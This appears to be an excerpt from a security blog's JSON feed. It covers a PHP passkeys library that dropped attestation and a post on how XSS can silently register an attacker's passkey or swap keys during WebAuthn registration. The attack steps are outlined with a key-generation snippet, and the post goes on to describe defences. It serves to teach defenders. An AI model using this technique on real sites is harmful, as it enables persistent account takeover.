edge cases that matter when a library is responsible for deciding whether an authentication ceremony is valid.</p><p></p><ul><li>Tighter origin check. The previous RP-ID match treated the RP ID as a substring suffix, so <code>example.com</code> would match the host <code>evil-example.com</code>. It<br>now requires an exact match or a true subdomain.</li><li>Cross-origin rejection. Registration and authentication now reject ceremonies where <code>clientDataJSON.crossOrigin === true</code>, per WebAuthn Level 3.</li><li>Attestation none hardening. The <code>none</code> attestation statement must be an empty CBOR map, per WebAuthn §8.7. Non-empty maps are now rejected.</li><li>Backup flag validation. Authenticator data with the Backup State bit set but Backup Eligible unset is now rejected, per spec.</li><li>Token Binding rejection. Ceremonies asserting Token Binding are rejected, since the library doesn't implement it.</li></ul><p></p><h3 id=\"we-deleted-attestation\">We Deleted Attestation</h3><p>The headline change is that attestation verification is gone entirely; the library now supports only the <code>none</code> attestation format. Our penetration test and our own internal security reviews showed that serious risk was concentrated almost entirely in attestation-statement handling — the TPM, Packed, U2F, Android Key, Android SafetyNet and Apple formats, plus the FIDO Metadata Service plumbing and root-CA trust set. That code path is also the part of WebAuthn that our typical users don't use: browsers and platform authenticators issue attestation: \"none\" by default, and demanding attestation actively harms passkey UX and privacy.</p><p>So we removed it — over 1,100 lines of it. Now, <code>getCreateArgs()</code> always requests <code>attestation: \"none\"</code> (which the spec requires the client to honour by stripping the statement, whatever authenticator the user holds), and only <code>fmt: \"none\"</code> with an empty <code>attStmt</code> is accepted. The library is now positioned for the common case: SaaS-style passkey auth where the relying party only needs to know the user controls a credential bound to the RP — not which authenticator produced it. If you genuinely need enterprise attestation with a managed CA set, this isn't the library for you, and we think that's the right trade: a large, dangerous, rarely-exercised attack surface deleted instead of subtly-broken verifiers shipped to people who wouldn't enable them anyway.</p><p></p><h3 id=\"getting-started\">Getting Started</h3><p>The library autoloads under PSR-4 as <code>ReportUri\\Passkeys</code>, with the main entry point aligned with the spec name:</p><p></p><pre><code class=\"language-php\">use ReportUri\\Passkeys\\WebAuthn;\n$server = new WebAuthn('My App', 'example.com');</code></pre><p></p><p>There's a working registration and login demo in <a href=\"https://github.com/report-uri/passkeys-php?ref=scotthelme.ghost.io\" rel=\"noreferrer\">_test/</a> to get you going, and this is currently deployed on the <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a> production site so you can always test it there too!</p><p>Passkeys are one of the best things to happen to authentication in years, but only if the server side gets the verification right. That’s the part users never see, and the part a library has to get exactly right.</p><p><code>passkeys-php</code> is our attempt to keep that code small, readable, auditable, and safe for the common case. Issues and PRs welcome.</p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-php.png",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-php.png",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-php.png",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            },
            {
              "label": "Passkeys",
              "term": "Passkeys",
              "url": null
            },
            {
              "label": "PHP",
              "term": "PHP",
              "url": null
            }
          ]
        },
        {
          "id": "69fef8df9c3a0c0001b5ea13",
          "title": "XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None",
          "description": "<p>A single XSS vulnerability can turn passkeys from a phishing-resistant login mechanism into a persistent account takeover backdoor. If malicious JavaScript can run on your page, it may be able to register an attacker-controlled passkey against the victim’s account. The user sees nothing, the website records</p>",
          "url": "https://scotthelme.ghost.io/xss-is-deadly-for-passkeys-the-hidden-risk-of-attestation-none/",
          "published": "2026-05-19T12:24:43.000Z",
          "updated": "2026-05-19T12:24:43.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-xss.png\" alt=\"XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None\"><p>A single XSS vulnerability can turn passkeys from a phishing-resistant login mechanism into a persistent account takeover backdoor. If malicious JavaScript can run on your page, it may be able to register an attacker-controlled passkey against the victim’s account. The user sees nothing, the website records a successful registration, and the attacker walks away with a valid authentication backdoor.</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-1.png\" class=\"kg-image\" alt=\"XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None\" loading=\"lazy\" width=\"800\" height=\"70\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/report-uri-logo-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-1.png 800w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><p>For an organisation, that means more than “someone found XSS”. It means identity compromise, persistence, audit-trail ambiguity, regulatory exposure, and a security control that appears to have worked while silently enabling an attacker.</p><p>The uncomfortable truth is that while passkeys do bring amazing benefits, and I think that everyone should use them, there is a dangerous gap in the threat model that's being overlooked by almost everyone I speak to. This blog post explains the risk, demonstrates how this is possible, and what the effective defences look like.</p><p></p><h3 id=\"introduction\">Introduction</h3><p>Before we get started, if you'd like a brief overview of how passkeys work, you can jump over to my <a href=\"https://scotthelme.co.uk/passkeys-101-an-introduction-to-passkeys-and-how-they-work/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Passkeys 101 blog post</a>, where I explain the basics. I'm going to assume in this blog post that you understand the concept of passkeys, and we're going to look at how they work in more detail in this post.</p><p>We also need to establish some terminology to make the rest of this blog post easier to understand:</p><p><strong>Relying Party</strong>: The website or application that stores and verifies a user's passkey credential for authentication. </p><p><strong>Authenticator</strong>: The user’s device or password manager that creates, stores, and uses the private key to prove the user’s identity to the Relying Party.</p><p><strong>Attestation</strong>: The mechanism an Authenticator can use during registration to prove what kind of hardware created the credential.</p><p></p><h3 id=\"how-passkey-registration-works\">How Passkey Registration Works</h3><p>When registering a passkey with an RP like Report URI, JavaScript will make a call out to fetch the data it needs:</p><pre><code class=\"language-js\">const optRes = await fetch('/passkeys/register_get_options/' + getCsrfToken(), { method: 'POST' });</code></pre><pre><code class=\"language-http\">POST /passkeys/register_get_options/8f3c1a9e4b2d7f60c5a1e8d2b9f4a7c3 HTTP/1.1\nHost: report-uri.com\nCookie: session=...\nContent-Length: 0</code></pre><p></p><p>The RP will return a response that looks like this and contains the <code>publicKey</code> object:</p><pre><code class=\"language-json\">HTTP/1.1 200 OK\nContent-Type: application/json\n\n{\n  \"publicKey\": {\n    \"rp\": {\n      \"name\": \"Report URI\",\n      \"id\": \"report-uri.com\"\n    },\n    \"user\": {\n      \"id\": \"Yi8kP1xqd0Jx3mWZ8Q2vK7nR4tH6sLpA9dF1gE0wXc=\",\n      \"name\": \"[email protected]\",\n      \"displayName\": \"[email protected]\"\n    },\n    \"challenge\": \"kQ7nR4tH6sLpA9dF1gE0wXc2vK7mZ8Q2Yi8kP1xqd0J\",\n    \"pubKeyCredParams\": [\n      { \"type\": \"public-key\", \"alg\": -8 },\n      { \"type\": \"public-key\", \"alg\": -7 },\n      { \"type\": \"public-key\", \"alg\": -257 }\n    ],\n    \"timeout\": 60000,\n    \"authenticatorSelection\": {\n      \"requireResidentKey\": true,\n      \"residentKey\": \"required\",\n      \"userVerification\": \"required\"\n    },\n    \"attestation\": \"none\",\n    \"excludeCredentials\": [\n      {\n        \"type\": \"public-key\",\n        \"id\": \"AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc...\",\n        \"transports\": [\"usb\", \"nfc\", \"ble\", \"hybrid\", \"internal\"]\n      }\n    ]\n  }</code></pre><p></p><p>Now that your device has the information it needs, it can create the new passkey and save it, likely showing you some kind of confirmation that requires a PIN, FaceID, TouchID, etc... This is done with the following JavaScript API call that will trigger the interaction with your Authenticator:</p><pre><code class=\"language-js\">const cred = await navigator.credentials.create({ publicKey });</code></pre><p></p><p>If you complete the process, your Authenticator will then store your new passkey. The JavaScript will then build the response to send back to the RP to confirm that everything has been completed and to save the new passkey against the user's account:</p><pre><code class=\"language-js\">const payload = {\n    name: nameInput?.value?.trim() || '',\n    password: passwordInput.value,\n    id: cred.id,\n    rawId: cred.rawId,\n    type: cred.type,\n    clientDataJSON: cred.response.clientDataJSON,\n    attestationObject: cred.response.attestationObject,\n};\n\nconst finRes = await fetch('/passkeys/register_finish/' + getCsrfToken(), {\n    method: 'POST',\n    headers: { 'Content-Type': 'application/json' },\n    body: JSON.stringify(payload),\n});</code></pre><p></p><p>The <code>attestationObject</code> contains the important information, with everything else being mostly metadata. Here's the content of the <code>attestationObject</code> with the public key being the crucial part:</p><pre><code>attestationObject (CBOR)\n├─ fmt                       ← attestation format, e.g. \"none\" / \"apple\"\n├─ authData                  ← authenticator data\n│  ├─ rpIdHash               ← SHA-256 hash of the RP ID\n│  ├─ flags                  ← UP/UV/AT/ED flags, etc.\n│  ├─ signCount              ← signature counter\n│  └─ attestedCredentialData\n│     ├─ aaguid              ← type/model id, not useful for synced passkeys\n│     ├─ credentialIdLength\n│     ├─ credentialId        ← credential is, also surfaced as id/rawId\n│     └─ credentialPublicKey ← COSE-encoded public key\n└─ attStmt                   ← attestation statement; empty for fmt \"none\"</code></pre><p></p><p>The RP can now save the public key against the user and we know that this is a passkey they will be able to use to authenticate in the future. The stored record might look something like this:</p><pre><code class=\"language-json\">{\n    \"id\": \"AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc\",\n    \"name\": \"Jane's MacBook\",\n    \"pem\": \"-----BEGIN PUBLIC KEY-----\\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE...\\n-----END PUBLIC KEY-----\\n\",\n    \"counter\": 0,\n    \"created\": \"2026-05-16T14:22:07+00:00\"\n}</code></pre><p></p><p></p><h3 id=\"how-passkey-authentication-works\">How Passkey Authentication Works</h3><p>The process for logging in is equally as simple, with only a couple of steps to successfully authenticate with a passkey. First, the JavaScript must fetch the information required to authenticate from the RP.</p><pre><code class=\"language-js\">const optRes = await fetch('/passkeys/login_get_options/' + getCsrfToken(), { method: 'POST', credentials: 'same-origin' });</code></pre><pre><code class=\"language-http\">POST /passkeys/login_get_options/8f3c1a9e4b2d7f60c5a1e8d2b9f4a7c3 HTTP/1.1\nHost: report-uri.com\nCookie: session=...\nContent-Length: 0</code></pre><p></p><p>The RP will respond with a <code>publicKey</code> object that contains the required information:</p><pre><code class=\"language-json\">HTTP/1.1 200 OK\nContent-Type: application/json\n{\n  \"publicKey\": {\n    \"challenge\": \"Vk7nR4tH6sLpA9dF1gE0wXc2vK7mZ8Q2Yi8kP1xqd0J\",\n    \"timeout\": 20000,\n    \"rpId\": \"report-uri.com\",\n    \"userVerification\": \"required\",\n    \"allowCredentials\": [\n      {\n        \"id\": \"AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc\",\n        \"type\": \"public-key\",\n        \"transports\": [\"usb\", \"nfc\", \"ble\", \"hybrid\", \"internal\"]\n      }\n    ]\n  }\n}</code></pre><p></p><p>You must have some way of telling the RP which user/account is trying to login, and Report URI rely on the user already having completed their email address and password in the first step, but some websites will just ask for your email address. The response that came back from the RP has to have looked up the user's account, <code>[email protected]</code> in this case, and now provides a list of <code>allowCredentials</code> which are the <code>id</code> values of previously registered passkeys. If you look in the earlier registration steps you can see that we registered a passkey with the <code>id</code> value <code>AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc</code> and this has now been returned to us during login as an allowed credential. We can now pass this to the Authenticator using the following JavaScript API call :</p><pre><code class=\"language-js\">const assertion = await navigator.credentials.get({ publicKey });</code></pre><p></p><p>At this point, your Authenticator might ask you for a PIN, FaceID, TouchID or similar, and then the Authenticator is going to sign the challenge with the associated private key it stored earlier during registration, identified using the <code>id</code> provided. This signed challenge can then be returned to the RP to demonstrate possession of the private key:</p><pre><code class=\"language-js\">const payload = {\n    id: assertion.id,\n    rawId: assertion.rawId,\n    type: assertion.type,\n    clientDataJSON: assertion.response.clientDataJSON,\n    authenticatorData: assertion.response.authenticatorData,\n    signature: assertion.response.signature,\n    userHandle: assertion.response.userHandle || '',\n};\n\nconst finRes = await fetch('/passkeys/login_finish/' + getCsrfToken(), {\n    method: 'POST',\n    credentials: 'same-origin',\n    headers: { 'Content-Type': 'application/json' },\n    body: JSON.stringify(payload),\n});</code></pre><pre><code class=\"language-json\">POST /passkeys/login_finish/8f3c1a9e4b2d7f60c5a1e8d2b9f4a7c3 HTTP/1.1\nHost: report-uri.com\nContent-Type: application/json\nCookie: session=...\n\n{\n  \"id\": \"AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc\",\n  \"rawId\": \"AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc==\",\n  \"type\": \"public-key\",\n  \"clientDataJSON\": \"eyJ0eXBlIjoid2ViYXV0aG4uZ2V0IiwiY2hhbGxlbmdlIjoiVms3blI0dEg2c0xwQTlkRjFnRTB3WGMydks3bVo4UTJZaThrUDF4cWQwSiIsIm9yaWdpbiI6Imh0dHBzOi8vcmVwb3J0LXVyaS5jb20iLCJjcm9zc09yaWdpbiI6ZmFsc2V9\",\n  \"authenticatorData\": \"SZYN5YgOjGh0NBcPZHZgW4_krrmihjLHmVzzuoMdl2MdAAAAAA==\",\n  \"signature\": \"MEUCIQD3...base64 of the ECDSA/EdDSA signature...AiEA9k2m\",\n  \"userHandle\": \"T3xq2mP9kZ8Q2vK7nR4tH6sLpA9dF1gE0wXcYi8kP1w=\"\n}</code></pre><p></p><p>If the RP can then successfully verify the signature in this payload using the public key it stored during registration, the user trying to log in has proven possession of the private key that's associated with the stored public key. This means they have now completed authentication with a passkey and you can grant them access to the account. </p><p></p><h3 id=\"understanding-attestation\">Understanding Attestation</h3><p>Attestation is a pretty big deal, but if you go back and look at the registration process when the client called out to <code>/passkeys/register_get_options</code>, you will notice the following in the response sent back by the RP:</p><pre><code class=\"language-json\">{\n  ...\n  \"attestation\": \"none\",\n  ...\n}</code></pre><p></p><p>Attestation allows your application, the RP, to answer the question 'what kind of authenticator am I working with', and it's answering that question at a hardware level and getting an answer it can verify. That sounds great, so why is Report URI not requiring that?</p><p>In order for attestation to work, you would first need to get the certificates of all registered authenticators that can produce passkeys. You can grab that information from the <a href=\"https://fidoalliance.org/metadata/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">FIDO Alliance</a> as part of their Metadata Service (MDS3), and it's just a case of downloading the file and verifying its signature, and then parsing out all of the certificates. You need to do this ~once per month to stay current, and then you can ask for attestation when an authenticator is registering a passkey with your application. </p><p>Attestation is then a signature from the authenticator proving that it's a genuine authenticator from a particular manufacturer, let's say a YubiKey. Our application can verify that signature using the certificates that we fetched above and then we can be confident that we're dealing with a genuine YubiKey. The authenticator will provide an <code>attestationObject</code> that contains an <code>attStmt</code> that looks like this during the registration flow:</p><pre><code class=\"language-json\">\"attStmt\": {\n  \"alg\": -7,                // COSE alg of the signature (e.g. -7 = ES256)\n  \"sig\": h'3045022100…',    // sig over (authData ‖ SHA-256(clientDataJSON))\n  \"x5c\": [                  // attestation certificate chain, leaf first\n    h'308202bd30820…',      // leaf: the authenticator's attestation cert\n    h'30820336308…'         // (optional) intermediate CA cert(s)\n  ]\n}</code></pre><p></p><p>So why on Earth would we not require attestation when registering a passkey with our application?</p><p></p><h3 id=\"convenience\">Convenience</h3><p>The trade-off nobody mentions! An authenticator's ability to cryptographically prove what kind of hardware device it is can't be explained as anything other than a major security win. But that win does come at a cost.</p><p>We pulled the current MDS3 list to take a look at what's in there and we see the likes of Yubico, Feitian, Thales, Ledger, the platform TPM/Hello authenticators, and many more. The problem is what we didn't see. 1Password, LastPass, Bitwarden, Dashlane, iCloud Keychain, Google Password Manager, Chrome's built-in store... This isn't an oversight from these companies, it's a design choice. </p><p>The original idea behind passkeys was that the private key would remain locked on a single device, in secure storage like the Secure Enclave, a TPM, or similar. I'd register a passkey against my online account and save it as \"Scott's Laptop\", and that passkey would forever remain on my laptop, securely stored in the TPM (I'm on Windows). This is a tremendous security super-power, but it comes with a trade-off. If I were to lose my laptop, spill a coffee on it, or it failed spectacularly and the <a href=\"https://en.wikipedia.org/wiki/Magic_smoke?ref=scotthelme.ghost.io\" rel=\"noreferrer\">magic smoke</a> got out, I'm in big trouble. I'd now need to have another device somewhere else that already had a passkey registered on my account so I could sign in from that device, otherwise I'm in big trouble. This idea of having to register and manage individual passkeys for each of your devices to be able to access your online account is what drove us in another direction.</p><p></p><h3 id=\"synced-passkeys\">Synced Passkeys</h3><p>Synced passkeys are the architectural polar-opposite of an attestable hardware credential. Instead of storing the passkey in a secure storage medium like the Secure Enclave or TPM, I use 1Password, which stores the private key in my 1Password vault. My vault is then synced across all of my devices, my Windows desktop, my iPhone, my MacBook Pro, my iPad, and more. This offers me a huge amount of convenience because I can register a passkey with an RP a single time, and then login with that passkey across all of my devices, instead of having to register a passkey from each and every device. But that's the rub... We can't have meaningful hardware attestation in this process to tell us what type of hardware Authenticator we're dealing with because the answer to the question 'what type of device is this?' will always be 'it depends'. There's no generally useful way for software Authenticators like 1Password and others to do attestation, and this is why we don't require it on Report URI, because if we did, the vast majority of our users wouldn't be able to use their preferred method for registering and authenticating with passkeys.</p><p>That tension — device attestation vs. synced passkeys — is genuinely the crux of this whole blog post.</p><p></p><h3 id=\"where-it-all-falls-apart\">Where It All Falls Apart</h3><p>We now have all the pieces of the puzzle, so let's put this together and see where it falls apart. Most online services are not going to require Attestation because it would force so many of their users out of being able to use passkeys in their preferred way. But Attestation allows the RP to know that it's talking to a bona fide Authenticator backed by hardware. Without Attestation we're just talking to software, we're talking to code. As it turns out, webpages run code...</p><p>The entire passkey registration and authentication flows that we walked through earlier were driven by JavaScript. To register a new passkey the page will call <code>navigator.credentials.create()</code> and interact with the Authenticator, passing data backwards and forwards. To authenticate with a passkey the page will call <code>navigator.credentials.get()</code> and interact with the Authenticator, passing data backwards and forwards. If we take Attestation out of the picture, you can complete this entire flow in JavaScript without ever even having to involve an Authenticator. Let's walk through it:</p><p></p><ol>\n<li>\n<p>The JavaScript calls <code>/passkeys/register_get_options/</code> to begin the registration flow as normal.</p>\n</li>\n<li>\n<p>Typically, the JavaScript would now call <code>navigator.credentials.create()</code> to create the new public/private key pair in the Authenticator, instead, we're going just going to create a new key pair in JavaScript.</p>\n<pre><code class=\"language-js\">const kp = await crypto.subtle.generateKey(\n    { name: 'ECDSA', namedCurve: 'P-256' }, true, ['sign']\n);\n</code></pre>\n</li>\n<li>\n<p>We now need to build the payload to send to <code>/passkeys/register_finish/</code> which requires the public key that we just generated, and no attestation data is required. The RP will later only be able to verify that logins are signed by the private key corresponding to this submitted public key; it has not verified that the key was created inside a 'real' authenticator.</p>\n</li>\n<li>\n<p>A new passkey has been successfully registered on the user's account with absolutely <strong>no user interaction required</strong>.</p>\n</li>\n</ol>\n<p></p><p>This might sound crazy, that by simply visiting a page running malicious JavaScript it can register a passkey on your account with absolutely no interaction, but that's exactly how it works if no other steps are required.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-4.png\" class=\"kg-image\" alt=\"XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None\" loading=\"lazy\" width=\"1448\" height=\"1086\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-4.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/image-4.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-4.png 1448w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>To prove this, I built a few demo pages on the <a href=\"https://report-uri-demo.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI Demo Site</a>, and specifically you want to look at <a href=\"https://report-uri-demo.com/passkeys/1/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Passkeys Demo 1</a> for this. The very moment that page loads in your browser, the JavaScript payload is going to register a passkey on your account. You can register your own passkey as normal and even sign in with your own passkey, give it a try, but there will always be that second passkey registered by the malicious JavaScript and owned by the attacker.</p><p></p><h3 id=\"xss-is-now-deadly\">XSS Is Now Deadly</h3><p>Having an attacker register their own passkey on your account is a particularly nasty form of account takeover. It is persistent, it looks like a legitimate account-security change, and if passkeys are sufficient to sign in, the attacker now has a clean authentication path back into the account. You are now totally pwned, and, it gets worse. </p><p>Because the passkey registration process is orchestrated by JavaScript, if we're running malicious JavaScript in the page, we can proxy the WebAuthn API calls between the browser and the Authenticator. The ultimate in-page MiTM attack!</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-1.png\" class=\"kg-image\" alt=\"XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None\" loading=\"lazy\" width=\"1448\" height=\"1086\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/image-1.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-1.png 1448w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>By hooking and tampering with the <code>navigator.credentials.create()</code> API, we can substitute the values being passed between the browser and the Authenticator. This means that the user will conduct their normal registration process, get a prompt from their Authenticator to create and save a new passkey, but the Authenticator will then <strong>save the wrong passkey</strong>. The Authenticator will save the passkey that it generated, but that was not the passkey sent to the RP, which was substituted for the attacker's passkey. It now looks like you've registered a passkey on the website, you see a passkey in your password manager, the website shows that a Passkey has now been registered on your account, but the passkey the victim has will never work. Only the passkey that the attacker has will work and the reason this work so well is best demonstrated by updating the diagram.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-5.png\" class=\"kg-image\" alt=\"XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None\" loading=\"lazy\" width=\"1448\" height=\"1086\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-5.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/image-5.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-5.png 1448w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>To demonstrate this process, we've created <a href=\"https://report-uri-demo.com/passkeys/2/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Passkeys Demo 2</a>, where you can register a passkey on your account, but the passkey saved on your device will not be the correct passkey. You can then try to sign in with your passkey and observe that, as expected, it doesn't work, but the attacker can log in with their passkey.</p><p></p><h3 id=\"the-threat-model-that-matters\">The Threat Model That Matters</h3><p>Attestation isn't being \"skipped\" out of laziness or a lack of knowledge, it's a recognition that for a service whose users are spread across every device and every password manager, the strong version of attestation would trade an assurance about device provenance for a very real loss of accessibility. The threat model that matters for us — phishing, credential theft, replay — is fully addressed by the challenge/origin binding and the signature check provided by synced passkeys. Device attestation doesn't move that needle, and it's why we don't require it.</p><p>Attestation and synced passkeys are fundamentally at odds, and choosing not to attest is what lets your users bring the passkeys that they actually have. If it's a choice between no Attestation or no passkeys, which are you choosing?</p><p></p><h3 id=\"defending-against-the-threat\">Defending Against The Threat</h3><p>Everyone out there should be using, or aiming to use, passkeys, but we need to acknowledge the risks that exist and take steps to mitigate them. Here is some practical guidance to take away and use to help strengthen your passkeys deployment.</p><p></p>\n<!--kg-card-begin: html-->\n<h4 style=\"font-size: 2.2rem;\">Step up authentication before registration</h4>\n<!--kg-card-end: html-->\n<p>This one can be tricky because I've seen many sites using passkeys to replace passwords, but that's not something we've done on Report URI, passkeys are used as a 2FA mechanism. When attempting to register a new passkey on your account, you need the current password for the account to do it. This means that JavaScript can't silently register a new passkey. You could also require any other 2FA mechanism, a magic-link via email, or any other additional authentication mechanism.</p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-3.png\" class=\"kg-image\" alt=\"XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None\" loading=\"lazy\" width=\"934\" height=\"445\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-3.png 934w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p>\n<!--kg-card-begin: html-->\n<h4 style=\"font-size: 2.2rem;\">Stop the Malicious JavaScript from running</h4>\n<!--kg-card-end: html-->\n<p>A strong <a href=\"https://report-uri.com/products/content_security_policy?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Content Security Policy</a> is going to go a long way here and the best way to stop this attack is to stop the XSS at the source. You should also use <a href=\"https://scotthelme.co.uk/subresource-integrity/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Subresource Integrity</a> wherever possible to secure your third-party dependencies. You can see <a href=\"https://report-uri-demo.com/passkeys/3/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Passkeys Demo 3</a> for what happens when an analytics script goes rogue and starts registering passkeys for your visitors.</p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-6.png\" class=\"kg-image\" alt=\"XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None\" loading=\"lazy\" width=\"402\" height=\"146\"></figure><p></p>\n<!--kg-card-begin: html-->\n<h4 style=\"font-size: 2.2rem;\">Take Control of Powerful APIs</h4>\n<!--kg-card-end: html-->\n<p>Using Permissions Policy, you can take control of which pages on your site, and which third-party scripts you're loading, have access to the <code>navigator.credentials.create()</code> and <code>navigator.credentials.get()</code> API calls to register a passkey and authenticate with a passkey. In reality, we probably have very few pages on our sites that need to touch passkeys, and probably even fewer third-party scripts that we want to have that capability. This won’t stop the direct <code>/register_finish/</code> attack described above, because that attack doesn’t need the WebAuthn API, but it does reduce the number of places where malicious JavaScript can interfere with legitimate passkey ceremonies.</p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-7.png\" class=\"kg-image\" alt=\"XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None\" loading=\"lazy\" width=\"660\" height=\"132\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-7.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-7.png 660w\"></figure><p></p>\n<!--kg-card-begin: html-->\n<h4 style=\"font-size: 2.2rem;\">Out-Of-Band Notification on Registration</h4>\n<!--kg-card-end: html-->\n<p>If a new passkey is added to the account of one of your users, you should absolutely be notifying them that this has happened. Send out a notification, via email or any other means, to your user as soon as a new passkey is added to their account. If they were not expecting this to have happened, they can take immediate steps to protect their account.</p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-8.png\" class=\"kg-image\" alt=\"XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None\" loading=\"lazy\" width=\"717\" height=\"570\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-8.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-8.png 717w\"></figure><p></p><h3 id=\"these-are-problems-that-report-uri-can-solve\">These Are Problems That Report URI Can Solve</h3><p>As a specialised client-side protection platform, it stands to reason that Report URI can help you defend against these client-side attacks. I'm going to keep it brief here as the main purpose of this blog post is to highlight the risks above, but this is a topic we've done a lot of research on and we can provide some real value.</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-2.png\" class=\"kg-image\" alt=\"XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None\" loading=\"lazy\" width=\"800\" height=\"70\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/report-uri-logo-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-2.png 800w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><ul><li>Get a <a 